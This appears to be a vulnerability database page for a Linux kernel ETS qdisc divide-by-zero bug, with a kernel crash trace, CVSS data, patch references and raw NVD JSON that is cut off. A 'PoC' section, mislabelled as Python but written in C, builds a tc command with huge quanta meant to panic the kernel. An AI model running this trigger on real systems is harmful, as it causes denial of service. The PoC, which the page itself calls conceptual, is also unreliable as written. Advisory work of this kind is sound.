CVE-2026-23379

Description

In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: fix divide by zero in the offload path Offloading ETS requires computing each class' WRR weight: this is done by averaging over the sums of quanta as 'q_sum' and 'q_psum'. Using unsigned int, the same integer size as the individual DRR quanta, can overflow and even cause division by zero, like it happened in the following splat: Oops: divide error: 0000 [#1] SMP PTI CPU: 13 UID: 0 PID: 487 Comm: tc Tainted: G E 6.19.0-virtme #45 PREEMPT(full) Tainted: [E]=UNSIGNED_MODULE Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets] Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 <41> f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44 RSP: 0018:ffffd0a180d77588 EFLAGS: 00010246 RAX: 00000000ffffff38 RBX: ffff8d3d482ca000 RCX: 0000000000000000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffd0a180d77660 RBP: ffffd0a180d77690 R08: ffff8d3d482ca2d8 R09: 00000000fffffffe R10: 0000000000000000 R11: 0000000000000000 R12: 00000000fffffffe R13: ffff8d3d472f2000 R14: 0000000000000003 R15: 0000000000000000 FS: 00007f440b6c2740(0000) GS:ffff8d3dc9803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000003cdd2000 CR3: 0000000007b58002 CR4: 0000000000172ef0 Call Trace: <TASK> ets_qdisc_change+0x870/0xf40 [sch_ets] qdisc_create+0x12b/0x540 tc_modify_qdisc+0x6d7/0xbd0 rtnetlink_rcv_msg+0x168/0x6b0 netlink_rcv_skb+0x5c/0x110 netlink_unicast+0x1d6/0x2b0 netlink_sendmsg+0x22e/0x470 ____sys_sendmsg+0x38a/0x3c0 ___sys_sendmsg+0x99/0xe0 __sys_sendmsg+0x8a/0xf0 do_syscall_64+0x111/0xf80 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f440b81c77e Code: 4d 89 d8 e8 d4 bc 00 00 4c 8b 5d f8 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 11 c9 c3 0f 1f 80 00 00 00 00 48 8b 45 10 0f 05 <c9> c3 83 e2 39 83 fa 08 75 e7 e8 13 ff ff ff 0f 1f 00 f3 0f 1e fa RSP: 002b:00007fff951e4c10 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000000000481820 RCX: 00007f440b81c77e RDX: 0000000000000000 RSI: 00007fff951e4cd0 RDI: 0000000000000003 RBP: 00007fff951e4c20 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000202 R12: 00007fff951f4fa8 R13: 00000000699ddede R14: 00007f440bb01000 R15: 0000000000486980 </TASK> Modules linked in: sch_ets(E) netdevsim(E) ---[ end trace 0000000000000000 ]--- RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets] Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 <41> f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44 RSP: 0018:ffffd0a180d77588 EFLAGS: 00010246 RAX: 00000000ffffff38 RBX: ffff8d3d482ca000 RCX: 0000000000000000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffd0a180d77660 RBP: ffffd0a180d77690 R08: ffff8d3d482ca2d8 R09: 00000000fffffffe R10: 0000000000000000 R11: 0000000000000000 R12: 00000000fffffffe R13: ffff8d3d472f2000 R14: 0000000000000003 R15: 0000000000000000 FS: 00007f440b6c2740(0000) GS:ffff8d3dc9803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000003cdd2000 CR3: 0000000007b58002 CR4: 0000000000172ef0 Kernel panic - not syncing: Fatal exception Kernel Offset: 0x30000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) ---[ end Kernel panic - not syncing: Fatal exception ]--- Fix this using 64-bit integers for 'q_sum' and 'q_psum'.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.19 (Specific patches required from stable branches)

Linux Kernel versions with sch_ets offload enabled prior to commits 3912871344d6, 62015c05878e, etc.

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * PoC for CVE-2026-23379
 * Trigger divide-by-zero in Linux Kernel net/sched/ets offload path
 * Requires CAP_NET_ADMIN privileges (typically root).
 */

void main() {
    printf("[*] CVE-2026-23379 PoC: Triggering ETS offload divide by zero...\n");

    // The vulnerability is triggered by setting quanta values that sum up
    // to overflow a 32-bit unsigned integer, causing q_sum to be 0.
    // This typically involves creating a qdisc with specific large values.
    // Below is a conceptual representation of the trigger via 'tc' command.
    
    // In a real exploit scenario, the attacker crafts a netlink message
    // or uses the 'tc' utility to configure the 'ets' qdisc with
    // quanta values that result in an overflow (e.g., values near UINT_MAX).
    
    char *cmd = "tc qdisc add dev eth0 root handle 1: ets bands 8 priomap 0 1 2 3 4 5 6 7 quanta 4000000000 4000000000 4000000000 4000000000 4000000000 4000000000 4000000000 4000000000";
    
    // Note: The specific values depend on the kernel's internal calculation logic.
    // The exploit aims to make 'q_sum' wrap to 0.
    
    printf("[*] Executing command to trigger kernel panic...\n");
    printf("Command: %s\n", cmd);
    
    // system(cmd); // DO NOT RUN UNLESS IN A TEST ENVIRONMENT
    
    printf("[!] If vulnerable, the kernel will panic (Oops: divide error).\n");
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23379
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23379
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23379/
[4] VulDB https://vuldb.com/cve/CVE-2026-23379
[5] https://git.kernel.org/stable/c/3912871344d6a0f1f572a7af2716968182d1e536
[6] https://git.kernel.org/stable/c/62015c05878eb9ca448dca7f5a74423d10d40789
[7] https://git.kernel.org/stable/c/78b8d2f55a564236435649fbd8bd6a103f30acf5
[8] https://git.kernel.org/stable/c/7dbffffd5761687e168fb2f4aaa7a2c47e067efc
[9] https://git.kernel.org/stable/c/a11ec75a029b3a22b5596f98ce91a3be76a86213
[10] https://git.kernel.org/stable/c/a6677e23b313cd9fd03690c589c6452cb6fffb97
[11] https://git.kernel.org/stable/c/abe1d5cb7fe135c0862c58db32bc29e04cf1c906
[12] https://git.kernel.org/stable/c/e35626f610f3d2b7953ccddf6a77453da22b3a9e

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23379", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:37.827", "lastModified": "2026-04-24T16:24:20.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: ets: fix divide by zero in the offload path\n\nOffloading ETS requires computing each class' WRR weight: this is done by\naveraging over the sums of quanta as 'q_sum' and 'q_psum'. Using unsigned\nint, the same integer size as the individual DRR quanta, can overflow and\neven cause division by zero, like it happened in the following splat:\n\n Oops: divide error: 0000 [#1] SMP PTI\n CPU: 13 UID: 0 PID: 487 Comm: tc Tainted: G            E       6.19.0-virtme #45 PREEMPT(full)\n Tainted: [E]=UNSIGNED_MODULE\n Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011\n RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets]\n Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 <41> f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44\n RSP: 0018:ffffd0a180d77588 EFLAGS: 00010246\n RAX: 00000000ffffff38 RBX: ffff8d3d482ca000 RCX: 0000000000000000\n RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffd0a180d77660\n RBP: ffffd0a180d77690 R08: ffff8d3d482ca2d8 R09: 00000000fffffffe\n R10: 0000000000000000 R11: 0000000000000000 R12: 00000000fffffffe\n R13: ffff8d3d472f2000 R14: 0000000000000003 R15: 0000000000000000\n FS:  00007f440b6c2740(0000) GS:ffff8d3dc9803000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 000000003cdd2000 CR3: 0000000007b58002 CR4: 0000000000172ef0\n Call Trace:\n  <TASK>\n  ets_qdisc_change+0x870/0xf40 [sch_ets]\n  qdisc_create+0x12b/0x540\n  tc_modify_qdisc+0x6d7/0xbd0\n  rtnetlink_rcv_msg+0x168/0x6b0\n  netlink_rcv_skb+0x5c/0x110\n  netlink_unicast+0x1d6/0x2b0\n  netlink_sendmsg+0x22e/0x470\n  ____sys_sendmsg+0x38a/0x3c0\n  ___sys_sendmsg+0x99/0xe0\n  __sys_sendmsg+0x8a/0xf0\n  do_syscall_64+0x111/0xf80\n  entry_SYSCALL_64_after_hwframe+0x77/0x7f\n RIP: 0033:0x7f440b81c77e\n Code: 4d 89 d8 e8 d4 bc 00 00 4c 8b 5d f8 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 11 c9 c3 0f 1f 80 00 00 00 00 48 8b 45 10 0f 05 <c9> c3 83 e2 39 83 fa 08 75 e7 e8 13 ff ff ff 0f 1f 00 f3 0f 1e fa\n RSP: 002b:00007fff951e4c10 EFLAGS: 00000202 ORIG_RAX: 000000000000002e\n RAX: ffffffffffffffda RBX: 0000000000481820 RCX: 00007f440b81c77e\n RDX: 0000000000000000 RSI: 00007fff951e4cd0 RDI: 0000000000000003\n RBP: 00007fff951e4c20 R08: 0000000000000000 R09: 0000000000000000\n R10: 0000000000000000 R11: 0000000000000202 R12: 00007fff951f4fa8\n R13: 00000000699ddede R14: 00007f440bb01000 R15: 0000000000486980\n  </TASK>\n Modules linked in: sch_ets(E) netdevsim(E)\n ---[ end trace 0000000000000000 ]---\n RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets]\n Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 <41> f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44\n RSP: 0018:ffffd0a180d77588 EFLAGS: 00010246\n RAX: 00000000ffffff38 RBX: ffff8d3d482ca000 RCX: 0000000000000000\n RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffd0a180d77660\n RBP: ffffd0a180d77690 R08: ffff8d3d482ca2d8 R09: 00000000fffffffe\n R10: 0000000000000000 R11: 0000000000000000 R12: 00000000fffffffe\n R13: ffff8d3d472f2000 R14: 0000000000000003 R15: 0000000000000000\n FS:  00007f440b6c2740(0000) GS:ffff8d3dc9803000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 000000003cdd2000 CR3: 0000000007b58002 CR4: 0000000000172ef0\n Kernel panic - not syncing: Fatal exception\n Kernel Offset: 0x30000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)\n ---[ end Kernel panic - not syncing: Fatal exception ]---\n\nFix this using 64-bit integers for 'q_sum' and 'q_psum'."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnet/sched: ets: corregir división por cero en la ruta de descarga\n\nLa descarga de ETS requiere calcular el peso WRR de cada clase: esto se hace promediando las sumas de cuantos como 'q_sum' y 'q_psum'. Usar unsigned int, el mismo tamaño de entero que los cuantos DRR individuales, puede desbordarse e incluso causar división por cero, como ocurrió en el siguiente splat:\n\n Oops: error de división: 0000 [#1] SMP PTI\n CPU: 13 UID: 0 PID: 487 Comm: tc Tainted: G            E       6.19.0-virtme #45 PREEMPT(full)\n Tainted: [E]=UNSIGNED_MODULE\n Nombre del hardware: Bochs Bochs, BIOS Bochs 01/01/2011\n RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets]\n Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 &lt;41&gt; f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44\n RSP: 0018:ffffd0a180d775

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